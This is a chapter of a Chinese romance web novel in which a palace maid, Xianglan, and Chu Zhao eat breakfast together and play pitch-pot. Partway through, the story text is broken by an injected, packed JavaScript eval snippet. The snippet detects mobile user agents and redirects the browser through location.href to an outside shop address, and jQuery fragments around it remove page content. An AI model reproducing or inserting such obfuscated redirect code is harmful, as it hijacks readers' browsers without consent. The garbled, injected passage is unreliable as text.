38. 第 38 章
作品:《恶毒女配谈恋爱》 楚昭顿了顿,这才回头,看了一眼衣裳整齐的香兰,然后面色如常地起身,说:“走吧。”
他伸出手,香兰搭在他的手臂上,由他扶着,慢吞吞地往前挪。
香兰走了两三步,看到还剩七八步的距离,就感觉心累,她不自觉感叹说:“好想要个轮椅啊。”
楚昭耳朵动了动,偏头问她:“什么是轮椅?”
香兰一顿,解释道:“就是两个马车轮子,外加一把有扶手有靠背的椅子,两者组合,就是轮椅了。”
从没见过。
楚昭垂眸,没有说话,扶着她到一旁洗漱。
有个机灵的侍女,没有在楚昭的卧室看到他,发现他睡在香兰的卧室后,便把他的洗漱用具也搬到了香兰的房里。
楚昭看到了,就站在香兰的旁边,跟她一起洗。
洗漱后,两人准备一起去吃早膳。
照旧,楚昭扶着香兰走路,他还没有不耐烦,但香兰走那么几步还没挪到门边,她已经没什么耐心了。
大早上,香兰就犯懒了,她勾了勾阿妱的衣袖:“你直接扶我到窗边的矮塌上吧,我就坐在那里吃。”
“嗯。”
她这么一说,楚昭也就扶她到矮塌上,把她挪到窗边,让清晨的风吹拂着她。
随后又出门吩咐侍女把饭菜端进屋里。
安排好一切,楚昭便也准备出门吃自己的那一份早膳。
香兰看到矮桌上没有阿妱的碗筷,便喊住她:“阿妱,怎么不一起吃?”
楚昭回过头,认真说:“我习惯一个人吃。”
怎么能习惯一个人呢?阿妱习惯一个人了,她怎么全方位侵入她的生活呢?
香兰微微一笑,温柔提议:“以后我们尽量一起吃饭吧?两个人一起吃,会更开心热闹一些。”
在遇见香兰以前,楚昭没有跟人同桌用膳的习惯,闻言,他想了想,似乎没有反对的理由,他便说:“好。”
他在香兰面前,一如既往的好说话。
楚昭坐到香兰的对面,同时有侍女把楚昭的那一份早膳摆到两人面前。
香兰吃了几口,稍稍解了对精致美食的渴望,然后就和楚昭聊天。
她问楚昭:“我们什么时候回宫,可不可以多留几天?”
楚昭沉默了一下,说:“最迟明天就要回宫了,因为宫里还有重要的事情需要我去做。”
香兰有点不信,阿妱不是在皇宫里整日无所事事吗?
香兰不想那么快回宫,她抬眸望着阿妱,声音里透着一股可怜:“可是我腿受伤了,不方便走路。”
楚昭蹙眉思索片刻,回:“可以让人用担架抬着你。”
“……”阿妱脑洞挺大的,香兰皱了皱眉,“可是进入皇宫后,就没人抬我了,我必须得自己走。”
香兰手一伸,抓住阿妱放在桌上的手:“能不能再多待几天?等我膝盖上的伤稍微好一些再走。现在太痛了,走不了路。”
感受到手上的温度,楚昭没有把手缩回去,他垂眸看着香兰搭在他手背上的手,说:“你可以在这里多休息几天。”
“我一个人很无聊。”
“那就和我一起回宫。”
“……如果要回宫,那你到宫里也这样扶着我走吗?我累了,你会背着我走吗?”
楚昭稍微想象了一下,随即想到了被香兰缠着的画面,身上的鸡皮疙瘩瞬间就起来了。
“不可能。”楚昭这次很坚持,他一锤定音,“我明日回宫,你在这里好好养伤。”
香兰瞧着阿妱脸上没什么表情,她知道阿妱不会改变主意了。
“那你等下背我?”
楚昭抬眸:“?”
香兰坐直身子,一本正经道:“你回宫了,扔下我一个人在宫外,难道不应该补偿我一下吗?”
这是什么道理?楚昭疑惑,看着她反问:“应该吗?”
“不应该吗?”香兰看着她,追问。
对视半响,楚昭才移开视线,微不可察地点头:“嗯。”
听到阿妱的肯定答复,香兰这才笑了,动手夹了一个包子放进阿妱的碗里:“吃饭。”
楚昭:“……”他并不喜欢吃包子。
两人吃完之后,侍女们便撤下了碗筷,把两人中间的矮桌摆回原地,擦干净。
香兰靠在榻上,感觉自己整个骨头都放松了,好舒服。这些事情都不用做,只要看着别人忙忙碌碌就好。
她望着窗外心想,果然啊,人真的就是要往上爬。哎,可惜了,再大的雄心壮志,她现在在宫里,也只是个最底层的小宫女。
“吃完饭,接下来做什么?”她腿不能动,有什么游戏可以玩呢?
“有什么好玩儿的?”香兰问阿妱。
楚昭想了想,说:“读书。”
“……这个不好玩。”香兰一听读书就头大,她都受伤了,怎么可能还想学习,她只想玩乐。
楚昭默了默,问她:“你想玩什么?”
香兰慢慢回忆古代有什么好玩的。
“踢毽子?我不行。”
楚昭静静坐在一旁,接过侍女递来的茶水,抿了一口。
香兰:“斗鸡?不太文雅。”
桌子在十步开外,楚昭懒得走,他随手将茶杯递给侍立在旁的侍女。
香兰:“推牌九?阿妱不喜欢人多闹腾,这个不行。”
楚昭往后靠上软枕,瞥了一眼香兰。
香兰眼前一亮:“对了,投壶!”
阿妱不喜欢太吵闹,投壶倒是比较安静,两个人也可以玩。
所以香兰就问楚昭:“你平时玩投壶吗?”
楚昭摇头说:“没玩过。”
香兰笑着点头:“正好我也没玩过,等下看谁更厉害,输了的人就要接受惩罚。”
楚昭可有可无地点点头。
侍女拿来壶和箭摆在院子里,并且另外添加两把座椅。
楚昭扶着香兰起身,陪她坐在院子里已经摆好的椅子上。
香兰兴致勃勃地拿了侍女递过来的箭,投了过去,没投中壶。
力道轻了,箭中途落了下来。
香兰笑容消失,片刻后,她转头对阿妱强调:“我从来没投过壶,今天是第一次,所以我刚才是在试试手感。”
“……行。”楚昭看了香兰一眼,问,“那现在算是比赛正式开始?”
香兰点点头,犹豫了下,说:“要不,你先投?”
楚昭懒懒地往后一靠,对于这次比赛,他的态度并不算认真,他轻轻抬了抬下巴:“我也没投过壶,还是你先吧。”
闻言,香兰脸带微笑,自信又回来了,她一个动手干活的,就不信赢不了一个整日躺着不动的。
接过侍女递来的箭,香兰坐直身子,瞄准壶,认真地投出第一箭。
没中。因为用力过度,箭越过了壶。
见状,香兰一脸失望,不中可以,但好歹碰一下壶啊。
楚昭看了看香兰,几秒后,抬手鼓掌:“有进步。”
身后的侍女们见状,也跟着面带笑意地鼓掌。
香兰:“……好了,我继续投。”
香兰再次手握紧箭,认真投出。
又没中,还是没碰到壶。
香兰盯着壶,说:“再来。”
侍女递上箭。
第三次再投,没中,依旧没碰到壶。
香兰往后一靠,精疲力尽地望着地上的四支箭。
然后她看向阿妱,觉得阿妱应该和她是差不多的水平。
楚昭与香兰对视,一时也不知道该如何安慰她。
香兰主动开口:“你等下也不要太难过。”
楚昭:“?”
香兰认真道:“箭碰不到壶,是壶的损失。”
楚昭:“……”
楚昭抿了抿嘴,没说话,而是直接朝一旁捧着箭的侍女伸手,侍女低眸,上前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210313|195693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
递出一支。
楚昭握着箭,看了一眼相距约十步的壶,轻轻松松地投了出去。
“嗖”的一声,下一秒,箭进了壶。
香兰目瞪口呆,立即坐正身子,第一反应就是怀疑阿妱作弊。
但投壶确实不好作弊,那就只能是——阿妱不是新手。
香兰:“你是不是以前练过?”
楚昭摇头:“没有,大概是运气。”
香兰心想,这个确实有可能:“你继续投。”
“不用再投了。”楚昭犹豫了下,说,“我已经赢了。”
这就赢了???香兰深吸一口气,不同意:“不行,你刚才投得太随意了,应该再认真点投。”
实力摆在那儿,新手越认真,就越容易错。
香兰把箭递给阿妱,补充说:“不认真投就算你输。”
楚昭接过香兰递来的箭,默默瞥了她一眼:“……”
这下,他只能端正态度,认真再投一次。
“嗖”的一声,又中了。
香兰更怀疑了。
阿妱骗了她,她绝对是投壶高手。
香兰没有说话,她从侍女怀里拿出两根箭,塞给阿妱。
楚昭看了一眼香兰,便把那两支箭投了出去,都中了。
香兰心想,果真是高手。
“你是高手。”香兰脸上没什么笑意,淡淡地说,“我不玩了。”
赢了也没见开心。楚昭拧着眉,没忍住,解释说:“我没有玩过。”
香兰看向阿妱:“没玩过你能投这么准?”
楚昭迟疑地说:“可能是以前……”
香兰:“以前什么?”
“以前射过箭。”楚昭还是回答了。
香兰看向阿妱,心想,看来阿妱还真是在世家大族长大的女孩子。
阿妱没主动提,香兰也不追问她的家庭背景。
虽然阿妱没骗她,但还是间接误导了她,所以香兰勾了勾嘴唇,道:“我虽然输了,但应该惩罚你,因为你没有遵守比赛规则。”
“……”
楚昭觉得自己有认真参与比赛,不过他还是问道:“什么比赛规则?”
香兰:“两人都是新手。”
“……”
香兰:“你一投大家就知道你是投壶高手。”
她抢在阿妱开口辩解之前,说:“所以惩罚你背我。”
楚昭默然无语,他并不想轻易背女孩子,所以他努力争取:“第一我是投壶新手,只是恰好有能力投中,第二惩罚不应该由你单独定。”
“好了好了,比赛结束,惩罚结束。”香兰不想在这件事上跟阿妱一较长短,她愉快地朝阿妱伸出双手。
“现在让你背我,这是我同意你先回宫的条件。”
楚昭嘴角拉直,无法反驳:“……”此刻的他觉得,先前的自己一定是吃多了,脑子一时糊涂才胡乱答应。
不然,他何时回宫,哪里需要香兰的同意?
此时说什么也晚了。
在香兰灼灼的视线下,楚昭僵硬地起身,走到她面前,背过身,弯下腰,非常勉强地吐字:“上来。”
香兰动作熟练地爬上阿妱的背,挥开想帮忙的侍女们,对她们说:“你们去忙吧,有事阿妱会照顾我的。”
被迫背人的楚昭:“……”
香兰整个人软软地靠在楚昭背上,自觉舒坦,但楚昭却颇为心烦意乱,快步背着她走。
香兰眼睛随意一瞥,忽然瞧见阿妱的耳朵通红,觉得好玩,动手碰了一下。
“你干什么?”楚昭人都抖了一下,他停住脚步,偏过头,冷冷地问。
虽然语气不太好,但他依旧牢牢地背着她。
香兰看出阿妱色厉内荏,笑着说:“不好意思,我不小心碰到的。”
被她碰后,耳朵突然有些痒,楚昭皱了下眉,没再计较:“哦。”
他加快步伐,背着香兰回房间。

